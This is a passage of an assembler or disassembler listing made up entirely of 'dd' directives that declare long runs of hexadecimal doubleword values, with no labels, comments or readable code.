		dd 0D7486D53h, 0B76EDC01h, 0FE57957Ah, 0E72EFCh, 0D3842C3Ch
		dd 5490A97Dh, 3100BEB0h, 4D9C915Dh, 0A1508Ah, 1127CCC7h
		dd 0A94442BEh, 82B53C00h, 83C48104h, 0B11C03BDh, 43BA163Eh
		dd 1F25FFE0h, 56222600h, 0C75DDFFEh, 0E51E00E7h, 79941B42h
		dd 890C71BDh, 50660952h, 317F85h, 36A003CEh, 0FD8BFA95h
		dd 5FE2470Eh, 3222C098h, 1C976Fh, 0AB2B6D1Fh, 4220BE5Bh
		dd 38263C71h, 0D800A612h, 6DC54153h, 1979FAh, 0CB3B461Fh
		dd 15165B6Ch, 4D001D70h, 6374F4D1h, 747841D2h, 25851811h
		dd 9F436030h, 7E088218h, 3F8670h, 778F0953h, 0A81DF550h
		dd 8C6F1C7Ch, 0C34D1D18h, 2181101Fh, 61A934B6h,	44E8008Ah
		dd 0DFB9CC13h, 0BC00F5C4h, 1D049D73h, 0CC10AECh, 8DC6144Fh
		dd 900A1840h, 40DF9944h, 30249200h, 0BA1CE0h, 2F25583Eh
		dd 43315A22h, 33B11661h, 32E09523h, 280460E0h, 665DDD7Ah
		dd 1ADB6F00h, 0CF5153F7h, 95B700F4h, 9760C167h,	0B006823h
		dd 2E6D7FA8h, 55772CEh,	0F0B9924Fh, 0ABFA80BCh,	180332D1h
		dd 2F2A6204h, 0C24290D3h, 5834003Eh, 8B066BAAh,	0F600F709h
		dd 95F24CA4h, 0E9BF46Eh, 6412B3F0h, 873DED45h, 1770F0E2h
		dd 54010D23h, 6FE18F0Ah, 2EFC4A21h, 3CC7B0EAh, 0BBCA7DDh
		dd 3A958080h, 33DCB522h, 25A85850h, 8720440Ah, 0F7808C0Bh
		dd 8C5B7307h, 6153077Fh, 43505A14h, 200045D0h, 62734FD1h
		dd 3F7F383h, 2FE7C69Bh,	8890AB1Ch, 2702205Ch, 5390F532h
		dd 4FA09074h, 0C4E3013Bh, 16D1D55Ah, 818DBFEh, 2F209345h
		dd 0B1FB0001h, 0BC4655F2h, 0ECA0DD6Eh, 0C4004F87h, 7FEF4930h
		dd 18A6055Eh, 187AD145h, 0A08244ECh, 59104304h,	802A0757h
		dd 0C02824D6h, 0AC397254h, 3F06BB01h, 29D0880Dh, 338168F0h
		dd 0FF188E30h, 40009DF3h, 6AF0D693h, 0E50E47h, 63B8075Bh
		dd 0A7B1790Bh, 0D8644902h, 1FF413h, 6B93984h, 4E5F1D0Fh
		dd 6A2EC058h, 1A0483Fh,	9B100B4Bh, 0F081D70Fh, 0E3001813h
		dd 0C60119D5h, 59E62FFh, 93D10A45h, 0AC16C02Bh,	960F99F3h
		dd 0EE94822Eh, 86B18637h, 75C80020h, 17A2E75Ch,	0E5F5D44Fh
		dd 1519F091h, 2F00BEE8h, 39319FDAh, 1FD2F57Ah, 8097E5A1h
		dd 21866D99h, 0A400CBB7h, 0BF625DF2h, 30959C2Eh, 0B2186625h
		dd 733E35ABh, 6E050536h, 502E2D9Ah, 0C0D76210h,	0B8D9039h
		dd 613B0019h, 578A43FBh, 356FDABDh, 0ADE8A349h,	6081A7C6h
		dd 4CC81605h, 45660003h, 5FA3E273h, 0F026A88Bh,	40030618h
		dd 0DDCE9Bh, 0F68AE6A8h, 662E3CC0h, 85143B0Fh, 901180C5h
		dd 0C9A6F2Ch, 0BADAF888h, 5A005E70h, 13B4ED66h,	74031EAh
		dd 0A46224FCh, 1D21D083h, 81580352h, 0ECA10074h, 85CA1B8Ch
		dd 0B911CAB8h, 813FD404h, 0BFBEBEh, 0D9189E51h,	187CDB1h
		dd 3847B402h, 81D704BBh, 0BF569128h, 3970578Fh,	0DB28C4DCh
		dd 0FA4542F5h, 27DD04C9h, 0AF4A2B14h, 0FFF30C28h, 0A920B929h
		dd 0F4F622D6h, 29C70EB0h, 828B2D2h, 1A80AEC5h, 6BD3E751h
		dd 45363B5Eh, 7AE4EF00h, 9350FCE5h, 0F52703Dh, 206A9DF6h
		dd 3F2A86Eh, 3F5A00B7h,	9ADED412h, 5F00B0CAh, 4B4DAF3Bh
		dd 1DD709EBh, 0BA5469h,	70DFB690h, 350099CDh, 8E6A9622h
		dd 0E53637h, 0AD4EE2Bh,	8428F6B8h, 0F9ED3F00h, 0BFFF401Eh
		dd 0B8474F86h, 8F133F4Fh, 23E549F4h, 983F83B2h,	753EAC9h
		dd 6DAAFCD5h, 58148085h, 9800385Ch, 156FA74Bh, 0B8C544h
		dd 0E6CA273Ah, 0F3F762D3h, 87049815h, 1A4D00D8h, 297FA00Bh
		dd 8CCE00A2h, 0B261D8C9h, 2100B0C6h, 0F262D128h, 55AC48h
		dd 359FCAB3h, 0E0FC7160h, 49A2B51Ch, 9ED72C0h, 14E4FDFh
		dd 0AB999B06h, 0C857630Bh, 38493E45h, 0DB19140Ch, 2A7B8088h
		dd 54D578h, 7ABCF386h, 0E07E0924h, 7161D700h, 688F0F63h
		dd 92170036h, 648874C1h, 59012C09h, 0D9143A2Ah,	108105F7h
		dd 0D7B0546Fh, 6CF6FC9Dh, 0D1008670h, 2B6E12D8h, 0DA56F1h
		dd 0FC84736Dh, 3EF0B6C2h, 0F414E838h, 4806A300h, 0A95061DBh
		dd 0E378004Bh, 51FF90AAh, 1C002ECAh, 304AC60Bh,	1CA3112Dh
		dd 5CFA3832h, 0A5254CD4h, 0E39867D8h, 5002CE0h,	0C5690926h
		dd 3FA90748h, 43308817h, 0FD765B21h, 5A0042F0h,	0AC2FBA03h
		dd 0CC1E45h, 0FA574DDh,	0BDAA0BF5h, 0E68CF600h,	5333AB07h
		dd 44BE004Fh, 5F6960ECh, 540077E4h, 8A486E62h, 485E2495h
		dd 0F1395D6Ch, 5B722000h, 92E05775h, 0C6021300h, 0D9096071h
		dd 0E0BCEEECh, 87BA0ED0h, 238025FBh, 0CD16D319h, 2E548F04h
		dd 0E480BE3Dh, 3B8865h,	0C333E348h, 86E86485h, 1740E1Ch
		dd 0A23E6A81h, 1D70A152h
		dd 301300EDh, 45AF2E02h, 74483FA8h, 0EE280A0h, 785A919Eh
		dd 0C77F00A5h, 4004ACBCh, 0CD000F39h, 71E59B88h, 8C3A66h
		dd 0ECB25EF9h, 434B51C9h, 0AA343D00h, 91F5FF45h, 0CCC00161h
		dd 0BD1AF192h, 0D8D0879Fh, 2AB04D08h, 3B0DFAEh,	636F1EA3h
		dd 23B005F1h, 1D00805Ah, 0AB12655h, 38438511h, 8E820C54h
		dd 0D0B85D6Ch, 8BBF1240h, 0F556B600h, 0C3D9DD42h, 9A6A0F40h
		dd 57216806h, 4094A780h, 223767E7h, 0A5D5A600h,	0AEF6E1F3h
		dd 6EFEBAh, 7FC8743Ch, 88525EDBh, 641B3D07h, 0B9B0C25Fh
		dd 0AFC6C0h, 0FA1AA846h, 2D114D1Eh, 3EC16000h, 0D9A96F5Bh
		dd 764501C2h, 70BD26FEh, 0A7AC80ADh, 929D91D3h,	25530077h
		dd 5CAD727h, 1F00CEB3h,	2AD44551h, 0BD3E89h, 0F80AA999h
		dd 0F172680Ch, 98F6E300h, 4344CD8Ch, 0E9B7076Dh, 0F05D5810h
		dd 0BC0B7EFFh, 0C14AC800h, 0AD198E0Fh, 85776Fh,	7E3690C3h
		dd 0A265702h, 0F8B8BB78h, 0CBF63A00h, 6D10888Ch, 36221CBEh
		dd 0B7EA40BDh, 0DE445B0h, 818C4C26h, 3AAAE100h,	76962Bh
		dd 39E2B508h, 709D2443h, 55A93100h, 9E3F0C6Eh, 1C10326h
		dd 0CE675AA5h, 89D3A088h, 2FEA2000h, 0FFD94899h, 0B9A50002h
		dd 7E02BCAh, 7AF06436h,	8213101Dh, 89287C81h, 48E85D4Fh
		dd 0EF270138h, 92055188h, 0AAC4CCB4h, 0A2FC9D00h, 0A6FA07CAh
		dd 0F9B275E2h, 5915ECh,	40E892A0h, 0FEDAC35Fh, 50D3E00h
		dd 878C585Dh, 9304006Ah, 9FB0883Bh, 7300212Fh, 2968B3DFh
		dd 76E033h, 78E81823h, 0B566B26Ah, 0F69EAF00h, 6EEBCEF5h
		dd 1CD07C25h, 830F53B8h, 0A7AFAF0h, 2262808Dh, 4B00594Ch
		dd 1254E41Dh, 38D2E1h, 0D7996661h, 0CCFB8BC9h, 0DB0BB02Ch
		dd 819AEF00h, 7A960DCh,	151A0D47h, 231DE040h, 0BC00225Ch
		dd 3833E7F9h, 7CEB87D6h, 7CF008Ch, 8FC0B893h, 80CFA77h
		dd 0CCD102Bh, 0EF880025h, 83BE532Ch, 0B70144D2h, 8516297Ch
		dd 0A17AD761h, 4F2080FFh, 0A0495E9Bh, 9C9A0721h, 8364574Bh
		dd 11D08BDAh, 0EE0756DFh, 3038AB39h, 21EFB250h,	3A1300B5h
		dd 1F261E31h, 0B300B0DEh, 6DDFE36h, 428BE8h, 0D5073F18h
		dd 904D560Ah, 55B55903h, 0A85DABDBh, 781B7570h,	954C00B8h
		dd 0D34A10Ch, 3B00427Bh, 4D843F43h, 75A22Ah, 8F6C4F61h
		dd 82067CF5h, 0DCA4F100h, 221BC358h, 207B23h, 7EFA3CBEh
		dd 9101274h, 3551B907h,	0C082CEDEh, 14A1E069h, 88FD3CC5h
		dd 7155A4h, 0F47B95F9h,	860FDDB7h, 0D3E221ECh, 90C910h
		dd 2255E006h, 0F46FC35Eh, 0CE3C0036h, 9C40B3BFh, 0D6001C03h
		dd 9A80180h, 0BB56B0h, 2C463947h, 0A3C5E2BEh, 306776C0h
		dd 7488A59Dh, 61312C5Ah, 709C003Bh, 0B5564846h,	3C18473Fh
		dd 25F60083h, 0EF1AE88Fh, 0B0BB52FAh, 70795500h, 7443932Dh
		dd 0AAF0D00h, 0E58D4271h, 0EF721507h, 6000D411h, 0FFD03958h
		dd 3A034635h, 26402A09h, 16D2C0B4h, 0FD211389h,	0C99800D7h
		dd 0B303E532h, 0BCF41C3Dh, 0D14102E6h, 435328C6h, 8ED0A020h
		dd 64DB176Fh, 523500B0h, 0C123BEA3h, 0DCA1B61Bh, 0BF80F821h
		dd 3A4C01B5h, 7CEBFBFAh, 0AC46CC44h, 0C440E903h, 921A8E7Bh
		dd 0CF204818h, 121522BBh, 0F35FAA01h, 7C3E849Ah, 45D4D8DFh
		dd 8F760747h, 20185134h, 0ABA2FB21h, 41928100h,	674CDA6Eh
		dd 48F6E224h, 0D450E0B9h, 94E1059Ch, 0E91DCCB7h, 2E80006h
		dd 2BF8B86Dh, 24E73C56h, 43809980h, 8534B07h, 0ADCDBC00h
		dd 8535DBE3h, 0EF1D0225h, 0F1E4BB8Ah, 0C86B8480h, 8200E18Fh
		dd 7AA7BD4Fh, 97956E7h,	0B278D6Eh, 0E60600F7h, 0F4A59Eh
		dd 0B1C49576h, 46649135h, 14DE20C0h, 1FD85B84h,	8053DD87h
		dd 2CBDF2D5h, 0A4014573h, 0FE2D717Bh, 0A03AB4ACh, 0DE03BA0Eh
		dd 1D928BC3h, 3B15E0B0h, 42EF000Bh, 681FA596h, 0C90FA33Dh
		dd 20242FABh, 3A52758Fh, 44C8009Ch, 9F3CFE7h, 0A600024Bh
		dd 193D776Fh, 3ED8E20Ah, 5D00ACD5h, 0C81699A3h,	7600EDC9h
		dd 209E4F6Dh, 0EEE9DF98h, 0FA71269Fh, 0BE540010h, 8A73F4C5h
		dd 2AAA3B04h, 1C804056h, 0EA03C0Dh, 27ECFE24h, 71773465h
		dd 0F47E1D98h, 7F0076E2h, 0BEA4ABD8h, 1DAD0406h, 0CC191873h
		dd 2206C84h, 9EBFD400h,	70CF29C5h, 0B97599h, 0D391DE52h
		dd 36105863h, 852E9E00h, 2D2590BCh, 9B0E0F68h, 0E724EF71h
		dd 69C0D048h, 700BB55h,	3CC626A0h, 15D9A75h, 18B42706h
		dd 8E52B892h, 0C01D2320h, 4085768Fh, 0AB2D0063h, 0BA99EAC7h
		dd 2600381Ah, 66B773AAh, 0F25BC9A9h, 7B2E020h, 0EBD14944h
		dd 0B565605Ch, 0F8F357E4h, 0D01F9B4Ch, 0B8C0BDF7h, 4E80E285h
		dd 89340062h, 84E149CBh, 5C00DF47h, 0FDE407E9h,	90AFBC6Fh
		dd 49C7123Ch, 0E8FC02D2h, 88E0E997h, 69038699h,	0F212289h
		dd 81DEC8BFh, 201C48FAh, 0D41B0100h, 0AB455EA1h, 86A85900h
		dd 0FD2B2AD1h, 0A41F00E4h, 3AE2E58h, 761D5F26h,	3E40FB96h
		dd 250C2C5h, 0F0803D86h, 59754C85h, 0AADC0054h,	0D43CAE9Ah
		dd 74A5B200h, 0A1B169E0h, 52BE2CCh, 4411C8F3h, 68D8002Dh
		dd 7ABA32F9h, 0F700B976h, 637E93C7h, 1CAB4673h,	80826C74h
		dd 6953C28Ah, 21093C3Dh, 5DDD0C1h, 2C01C7DFh, 5B273996h
		dd 24AF91DCh, 80C058C1h, 8E6B4011h, 0C302E9D9h,	2908BD4Ch
		dd 93FC8283h, 0CA84681Fh, 0D7AC1E35h, 11783707h, 3063F0A5h
		dd 0E40CF83Bh, 501F839Fh, 97CA0050h, 4AB56991h,	5700FA1Ch
		dd 0CD86DF71h, 8BC472h,	0A528A832h, 0C61DDD34h,	4DB37500h
		dd 77BCB2C9h, 5D290083h, 6E1C1A3Ch, 7D04DD01h, 518F2A61h
		dd 7EA16C80h, 0A4DA5076h, 0C6D5001Dh, 635C8977h, 870048DDh
		dd 353A80Ch, 0E876EBh, 7EE6D975h, 716AE5FFh, 63EF0E26h
		dd 0A3A94F00h, 0D795FCh, 0E33037F0h, 0A0B7D5A7h, 4177731Ch
		dd 4A1EC381h, 4CC41ADCh, 1EFC98A2h, 4508323Fh, 80FC4B17h
		dd 14D1F535h, 3F73F097h, 41004A0Fh, 9280AAA6h, 0F600E6CFh
		dd 50FA2123h, 60946EDh,	0B3412762h, 9217C0FBh, 0B1002BFDh
		dd 854A3D19h, 0C5AE0034h, 0FC916F3Bh, 62004655h, 674DBC3Ah
		dd 2CDE08Dh, 14AE4A4Bh,	8C405D59h, 96026ADCh, 6815C13h
		dd 0E3C0E044h, 0A53007Ah, 3E6124BDh, 0F0759780h, 0A858C201h
		dd 62B6B885h, 6DFAD840h, 0BE770BBBh, 28800317h,	0A65C46CBh
		dd 7370697Dh, 0E92CAE00h, 0E1A9FBBDh, 0F87580h,	97DC0324h
		dd 397BA119h, 2EB32D1Ch, 536B4B40h, 1313CF87h, 3AACD0h
		dd 0F36DE660h, 0D7001036h, 8486EA0Fh, 1F38549Fh, 82F0CA58h
		dd 0B8371F21h, 5329C560h, 0E29E9509h, 0E518002Fh, 2616D9h
		dd 5DAF8EFDh, 9A1B3841h, 0DA801500h, 9FDF7E31h,	88350142h
		dd 227A06FCh, 468DE42Fh, 10523B00h, 0C64DF4D5h,	0D15603CDh
		dd 0E9F8146Dh, 6CB5220Fh, 8E2CBF1Bh, 0BA005C1Fh, 0AE82F2Ch
		dd 3E53F4B9h, 0E4805A94h, 15A26646h, 2509A8DAh,	815CCAD6h
		dd 69184F24h, 8FC5D4h, 55676D61h, 959CED0Bh, 657EE318h
		dd 7C62A21h, 0F93F68C5h, 5707707Ch, 650EEED4h, 2B7604h
		dd 63CC4A66h, 21403AA9h, 0A7DFE801h, 0E442AFBEh, 0C800FC84h
		dd 0C3038FF1h, 0A807ED2Ch, 4A3CD8h, 268CEBB9h, 336BB674h
		dd 0A406630Ch, 97A200Ch, 45F68988h, 63C0A893h, 26010492h
		dd 0F779BCFFh, 0F4207648h, 7BEF1C39h, 803FC099h, 0A5BD2EBh
		dd 3DFA4B1Dh, 5FC080B9h, 6774CEF1h, 7E02B04Eh, 0DD0A0090h
		dd 97772415h, 0C602601Bh
		dd 5A2B650h, 7D50C09Dh,	0C4B00044h, 7F1C24E8h, 0B3002B82h
		dd 0A4A0E494h, 7FFD2DDh, 45123E9Ch, 0A7319068h,	8804B230h
		dd 8434AD8Ah, 7EA0B287h, 0EC111A5h, 8C1F6238h, 3E3136E0h
		dd 30007337h, 277B0FAEh, 1765AC8h, 553FD199h, 307F2AECh
		dd 0D4076D4Ah, 5AA3B52Ch, 4681003Fh, 263F7277h,	428EA3Eh
		dd 806B9AA0h, 27B7B2FDh, 32D2EE1Eh, 628A6182h, 69A4405Dh
		dd 8F9700AAh, 0B8B3E378h, 858AF0A4h, 688016A2h,	1C231B7h
		dd 2037EAEEh, 0FEF74440h, 0CB15B080h, 5A246BD9h, 1C091465h
		dd 61C0799h, 5D701797h,	4D3648Ch, 687B4F85h, 0C3AB842Dh
		dd 0DAC8B704h, 9001F279h, 6EABCAE7h, 71801A87h,	8BADFCB4h
		dd 94050ED7h, 0C17D7E8Ch, 0A711C400h, 0C0194Eh,	8BA26199h
		dd 1CB821Fh, 52843100h,	3707C7C3h, 0DD3A0027h, 8206F886h
		dd 5F75D823h, 0D3831C02h, 5234DE98h, 0E4B95070h, 79B12605h
		dd 8911023Eh, 5C80A269h, 764202C6h, 78670100h, 11E9194Bh
		dd 0CFF800E6h, 56FC15D4h, 0E30055D5h, 39DBBE88h, 7FCCA5DFh
		dd 66322CBBh, 0E1B8024h, 98E2AEF4h, 72E8950Fh, 0C951C04Dh
		dd 709A97A6h, 0AEE1001Fh, 855C45A7h, 0A300F00Ch, 4AD633ADh
		dd 903A22DDh, 421F010h,	0D7250DFDh, 8CAC804Ch, 0E520AC02h
		dd 24AEF0B5h, 8480D550h, 903BC829h, 80A399ACh, 0A138CE03h
		dd 0E2285F82h, 62104DA0h, 2C101BD7h, 17D001Fh, 63433DF5h
		dd 0B4000A7Ah, 7E3F496Dh, 429671h, 0FCDC3B9Eh, 42F360Eh
		dd 5CACD61Ch, 95282C00h, 3A18B8Ah, 0B3EA37DEh, 26D04FBAh
		dd 0BE008EE8h, 3180BB38h, 154E5C6h, 11470561h, 3052E17Bh
		dd 0C8064FB4h, 0FDB75A6Fh, 90062510h, 99005056h, 4F842AE2h
		dd 2B170E29h, 0BDCF3A3Ch, 89134AA0h, 0F2001D18h, 35D8DEA3h
		dd 519139h, 5F8548DAh, 0B646BF63h, 55D03D04h, 0F68592B5h
		dd 0C7B86C80h, 532FABAh, 0AFB1D252h, 0ED7C907Fh, 0B7023167h
		dd 826EF7CBh, 5C045079h, 8518E0CAh, 0CCBE211Bh,	69172F07h
		dd 5AF0C597h, 0AD586Fh,	9E6E3D8Dh, 0E57402B9h, 0E24CF301h
		dd 4070D9B2h, 0F8DC7E0h, 4DEFB867h, 40F732AEh, 9868E764h
		dd 0BC3E1084h, 0A82DFBB5h, 0FAA45023h, 0DB56017Eh, 0F5B64B8Ah
		dd 62C1F06Fh, 45132602h, 40BE43EAh, 0E48A713Dh,	2AB500E3h
		dd 28A9AF39h, 37F89653h, 0FD1AEC00h, 0A5C68B8Dh, 6F4A0013h
		dd 0AA93D2B3h, 0E907304Eh, 7E5E031Ch, 825CB101h, 0AFC20h
		dd 0C7CC3DE6h, 33066E3Ch, 18738600h, 464840AFh,	0B5B800D4h
		dd 2D45CAFFh, 56396FE1h, 196B928Ch, 0C41C88h, 1FDBBB98h
		dd 4A0E7A17h, 288E7000h, 333AF4Fh, 0DA1E00C4h, 4389E39Eh
		dd 0AA1B641Ch, 0C8F006CFh, 5C6EFh, 0E51B56ADh, 6E449934h
		dd 0C92A1800h, 0DF70C8BCh, 0D03F0089h, 5D1AD8Ch, 2700CE91h
		dd 2DB32E02h, 2CEA259Eh, 24B86C54h, 0EF0B80A8h,	6A8F4488h
		dd 1C4A9F24h, 808E5A00h, 0AB9853h, 27D2CBEDh, 0ACC1408Ch
		dd 7835E300h, 0C01B9F7Eh, 604B00A3h, 680A93D6h,	3312B797h
		dd 20004ACEh, 353B0FBEh, 26BC309Dh, 0A2318710h,	9F60E80Fh
		dd 0E0803B92h, 5C48F8h,	4627F3D3h, 87265ED5h, 0AF68BB00h
		dd 94014490h, 0AEA100CFh, 0B81651ACh, 21001457h, 0B81F284h
		dd 0A0F996h, 0E03102CFh, 3A938971h, 3C769D00h, 6926ABF2h
		dd 585E09FCh, 5C8F3229h, 0F7313003h, 0CA119003h, 0E41EE87Bh
		dd 6480280Bh, 5B7993CFh, 0D1316C03h, 18907Bh, 261BCA21h
		dd 7AD9D5CDh, 191FD730h, 0DE873C90h, 280300D0h,	2A632E31h
		dd 5BEB9805h, 0CD8083E0h, 734BB6h, 8BFD232Dh, 5CF6B1B9h
		dd 0DF26F100h, 42C9ADF2h, 1C6CF2B7h, 0C72C924Eh, 0A0AF71EAh
		dd 8F6F795Fh, 43A2961Eh, 0C0CEB94Eh, 4D995582h,	0AD9C009Fh
		dd 7394B415h, 0F4007833h, 0F5C5EB1Fh, 7F012061h, 0A3E100E0h
		dd 0E2CE7FA2h, 891C86ECh, 0F24729C1h, 900790Fh,	0D5F740h
		dd 2D651E48h, 293E26D6h, 97F1EA00h, 3212AA46h, 2CCB16F5h
		dd 0F85F07D3h, 5A5B80E7h, 210045FEh, 4DA4EE60h,	0CB452h
		dd 53F444Fh, 8B93419h, 0ADE6F600h, 0B378FB53h, 298D00E8h
		dd 953BA2B4h, 2400E4F2h, 4769E6D7h, 0E86FF8B0h,	0AB21C057h
		dd 0CA55E50Ah, 0E86BD500h, 5F64B639h, 0D3BB002Eh, 107FEFC6h
		dd 0B3006C4Fh, 25624275h, 0B9413Bh, 6F79DE2h, 84C05A83h
		dd 46082B00h, 0C771B435h, 97FA00E3h, 0B033E445h, 0E200C45Bh
		dd 0F9D56DAh, 408E5FA5h, 0E80535FEh, 2FDBCBF2h,	21552038h
		dd 0AE9FBABCh, 8A1F920Dh, 7E423081h, 0D39B102Bh, 8769B8B0h
		dd 21F708CCh, 2BD10B6Bh, 86DDBD83h, 19D78Dh, 0FFA4FDF9h
		dd 0ECAFB543h, 0B9230201h, 59A3D244h, 0C1169050h, 8D5009Bh
		dd 7D135F1Bh, 4C1CE2EEh, 0AA008304h, 88D70AF1h,	30B36265h
		dd 13E09B99h, 0FF067A78h, 2F1C9879h, 6BC50071h,	27E6020Ah
		dd 4D5407D9h, 0A24319D8h, 0D3E50901h, 0C703ED9h, 89D08B58h
		dd 23245FEAh, 77005603h, 0B5F99AE2h, 3A53282Dh,	6AF416CCh
		dd 78591B61h, 0F5AD5FF8h, 0DB1867EAh, 6618E032h, 3A143078h
		dd 6BA5898h, 5DE57C00h,	0B3673831h, 3714A027h, 4AC1DC1Dh
		dd 0C8BC9F45h, 9AF705ACh, 43BC62D6h, 2DA86C21h,	38DEDD8h
		dd 9336F7FDh, 99001E2Bh, 0CAA014B4h, 274F0C2h, 68EFF60Fh
		dd 0C1E31DB8h, 88C4D006h, 33F8B68Ch, 35086248h,	0D4CB84D0h
		dd 0C61B7009h, 0C87816Fh, 6D7AC6Bh, 0F6BBA259h,	0DC46B0C0h
		dd 0F2212401h, 0C880E9Ah, 0D765881Ah, 0C11C2B00h, 16ED1F6h
		dd 62E6075Ch, 0D0E819B5h, 88FC21A2h, 69418530h,	1C3699DBh
		dd 4498C20Bh, 0C320C0C9h, 21009736h, 0FE3B9180h, 4E219A9h
		dd 0C821CAB0h, 425C1A3h, 0C8A84BAEh, 0CD1BC23Dh, 62F326E0h
		dd 0AB34901h, 0B1A18826h, 2E8B9040h, 8EFE0CE2h,	7D39A41Fh
		dd 7BFFBA00h, 1C2D2BC6h, 0E19C0F8h, 19D3B8F7h, 2A677D00h
		dd 0A81250BBh, 185A7BCFh, 0C9918C0Dh, 9212C3BCh, 9F00B00Eh
		dd 0D0BD3E25h, 26D200F7h, 0D6515C58h, 2E608ACAh, 9C79FA31h
		dd 0B3C8039Fh, 0F883303Dh, 0BE6ADE88h, 0D37D8B05h, 800872E3h
		dd 2B7AC09Eh, 1E569AF4h, 3E22D0h, 652B7D47h, 84E92552h
		dd 0A6CA4600h, 82B0CE86h, 7892007Eh, 75C0C79Eh,	70094030h
		dd 97B2C89Dh, 0B3090888h, 2A419C60h, 0CD080059h, 0B528F957h
		dd 72006403h, 2970959Eh, 7130EB6Fh, 0FA38922Fh,	33830084h
		dd 43528867h, 5C52B2C7h, 0E50E023Ch, 3186D978h,	806F1714h
		dd 35EFE8EAh, 58F40A37h, 0FD6AD50h, 0CC602B12h,	0D90CF593h
		dd 6A083A0Eh, 0A440F2AFh, 55730713h, 40B52AEFh,	5F253DC0h
		dd 8C82A707h, 234211FCh, 0DA6AE8C6h, 0D5E7FD01h, 2985D7A0h
		dd 371A3180h, 0A6A825A7h, 2C54812Ch, 80B90509h,	0D3496954h
		dd 9D9C07D1h, 4C7B4ED6h, 83079478h, 0E17C9858h,	10392E10h
		dd 92CCE8E6h, 5BBB00D4h, 4B892B58h, 831E1A7Ah, 2F40F871h
		dd 0B6F59C63h, 2AAC2ACFh, 37988190h, 0E408F718h, 0C6EED985h
		dd 6E01219Bh, 0AE0DE50Fh, 0A8820B1Eh, 1CD82402h, 0E184B440h
		dd 2E88ACA0h, 7C1A31C0h, 45CC7Ah, 0BD4A240Ch, 0A73A817Fh
		dd 9A738B0Ah, 6182E430h, 6447A0F6h, 861CEC78h, 0E2B7804h
		dd 3E626E9Bh, 2BCB2920h, 2F8A2A58h, 0FA0A00ACh,	63A1A9B8h
		dd 0EC00CA2Ch, 0B1D8D92h, 2D07E81h, 9D7FE779h, 0DC63C605h
		dd 2CD14918h, 0AB8D41h,	4E84BB3Eh, 0D4A3FD7Eh, 0DAD0B260h
		dd 0D250FB02h, 234C3BB8h
		dd 0FFC83938h, 7D095458h, 18A00D4Eh, 3E2C30DBh,	90FCEE18h
		dd 1C0E831h, 3B4E6707h,	0D4185FE4h, 38037E10h, 0E6EA960h
		dd 9F9690ADh, 3FFB2863h, 82754464h, 0F80F25F2h,	1324934h
		dd 712DB264h, 0DD4E60h,	82EEBA0Ch, 0D4AAC852h, 4F887400h
		dd 0EA2E1C22h, 1FE200D1h, 1883D939h, 0DA58E3AAh, 9D881070h
		dd 0D0249E3Ah, 58E1C34Ch, 0E6317CD8h, 0E2F98085h, 36FE6E01h
		dd 7E1BF500h, 6561EDDAh, 289098B8h, 212CA2B9h, 84819CA9h
		dd 0B97C4958h, 24757820h, 59143Ch, 0FA9531CEh, 8C074247h
		dd 87B7F571h, 4A180Ch, 9B663508h, 0AB227977h, 81AAFD3Eh
		dd 0C8D133C2h, 0E6DC8A78h, 0BCF1014Fh, 0E7DF8D41h, 0F590D004h
		dd 769B1A00h, 0B9648559h, 3D2EA5Dh, 142EB207h, 13A06A45h
		dd 0A90037CEh, 0FD1B1EAh, 700C09h, 0F4F0D566h, 656A4344h
		dd 0EDF29000h, 7E0D09Eh, 0EC1B1F81h, 0B0FD006Ch, 4DCD2C21h
		dd 54D1C100h, 0E45EACEh, 0FE5D7EBFh, 0C5151CD8h, 9F29CC58h
		dd 0B41CA940h, 9D40957Eh, 0FB221BD3h, 0F8B0036h, 44596FB7h
		dd 0A400B866h, 0E4B116E2h, 1F3109Fh, 0DAD6E5E7h, 0E56A8CA2h
		dd 0CB48F054h, 49215800h, 0C0A3F1AFh, 4D270183h, 0CCE75D0Eh
		dd 0FA9BC0DFh, 4159BD00h, 6C4B333Ah, 0AD9800D1h, 9FA26636h
		dd 6800021Bh, 4D8B0729h, 7EDB1024h, 0EFCB036Ch,	4430E322h
		dd 8743F4A0h, 1C9CEA2Ch, 342F5300h, 0F9CC17h, 0F2B47ED3h
		dd 0A7760E68h, 59A03654h, 0FF46FA1Ch, 0E0BFE00Eh, 3B322821h
		dd 4893015Eh, 0E152B529h, 0B802ED27h, 0D9FC80C0h, 921718CDh
		dd 681F1D96h, 0F97A84C8h, 0D9BA0057h, 0B0A833h,	97076764h
		dd 0C25072E2h, 0B5587B00h, 0FB0D7EB3h, 8F5A1451h, 1873BD33h
		dd 40FADAEEh, 1400E99Ah, 0DBF8D0BBh, 3D871935h,	0A054E640h
		dd 60E10044h, 8F6AB6D4h, 0F4044F7Ah, 0BE12EE9Ch, 0FA363700h
		dd 6D017073h, 0B7E07713h, 85D05D71h, 0BB300054h, 0B7B27FFh
		dd 0C01FC70h, 999623D0h, 4080C097h, 0A5D1DE3Bh,	0A0A04B11h
		dd 4400BDAEh, 6ACCA11Dh, 0A6E7253h, 518FFFC8h, 0F390EC0h
		dd 30241520h, 0BA049195h, 8935935h, 48716080h, 0E38A0372h
		dd 314F6BF3h, 0F4015C81h, 62449C6h, 514520E5h, 95DB4EC0h
		dd 6C9C00B9h, 0DD131F83h, 0B603E381h, 7E56DCF1h, 3A2D804Fh
		dd 0F6243787h, 0CCFA081h, 0A5900D9Dh, 0AC0E29F0h, 40E58EAFh
		dd 0A353238Dh, 0C3EF00EAh, 836901EBh, 0F7F8D61Bh, 0F03C41C2h
		dd 5DD410Fh, 50E36D8h, 1307F294h, 40800E2Dh, 0D70D1D80h
		dd 0E63FA70Fh, 0DF6F0446h, 1632F0h, 4A288A96h, 941E53DEh
		dd 0D1809ACEh, 4D46232Fh, 2E9B078Ch, 0D0756D96h, 2470C0Bh
		dd 4366C31Fh, 3A516B85h, 0A300C416h, 0E5D64F8Dh, 0C7CB00C2h
		dd 8C35B180h, 0C5037872h, 0C86D68DAh, 3F86F0A1h, 8FFEECh
		dd 0C3DB9D8Eh, 0DA65EB56h, 4644F960h, 0F9B7619h, 0F70CDEA9h
		dd 0AFBB2D83h, 17F812A8h, 1F75A13Ah, 19C00799h,	1474ABA6h
		dd 0AF0F0E3Fh, 58863CA5h, 2A0020FBh, 0A837A671h, 0E2C3521h
		dd 0BF3BD2Dh, 0EE6700B0h, 0F95D7AC0h, 849D1845h, 2DEA08E8h
		dd 0E69120C0h, 5809C0h,	65BB2807h, 0D5F03629h, 19C141C7h
		dd 0B440FFDEh, 0BFA37C0Ah, 7278005Ch, 92DB17CAh, 88C0B08Bh
